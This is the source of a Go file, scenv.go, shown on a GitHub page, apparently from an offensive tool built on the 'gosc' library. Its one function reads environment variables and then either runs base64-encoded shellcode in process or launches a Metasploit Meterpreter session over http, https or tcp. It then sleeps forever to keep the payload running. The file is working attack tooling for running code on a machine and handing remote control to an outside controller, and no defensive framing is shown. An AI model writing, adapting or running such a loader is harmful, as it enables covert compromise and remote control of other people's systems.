-
Notifications
You must be signed in to change notification settings - Fork 23
/
scenv.go
57 lines (52 loc) · 922 Bytes
/
scenv.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package main
import (
"log"
"os"
"runtime"
"time"
"github.com/kost/gosc/msf"
"github.com/kost/gosc/shell"
)
func sleepForever() {
for {
time.Sleep(time.Second*60)
}
}
func SCEnvAndExecute() {
if len(os.Args) != 2 {
return
}
if os.Args[1] != "--childsc" {
return
}
ptype, ok := os.LookupEnv("T2W_CMD")
if !ok {
return
}
cmdstr, cok := os.LookupEnv("T2W_SC")
if !cok {
return
}
log.Printf("childsc: %s %s", ptype, cmdstr)
executed := true
runtime.LockOSThread()
defer runtime.UnlockOSThread()
switch ptype {
case "sc":
shell.ExecShellcode_b64(cmdstr)
case "msf-http":
msf.Meterpreter("http", cmdstr)
case "msf-https":
msf.Meterpreter("https", cmdstr)
case "msf-tcp":
msf.Meterpreter("tcp", cmdstr)
default:
log.Printf("childsc no ptype: %s", ptype)
executed = false
}
log.Printf("childsc sleep: %s %s", ptype, cmdstr)
if executed {
sleepForever()
}
os.Exit(0)
}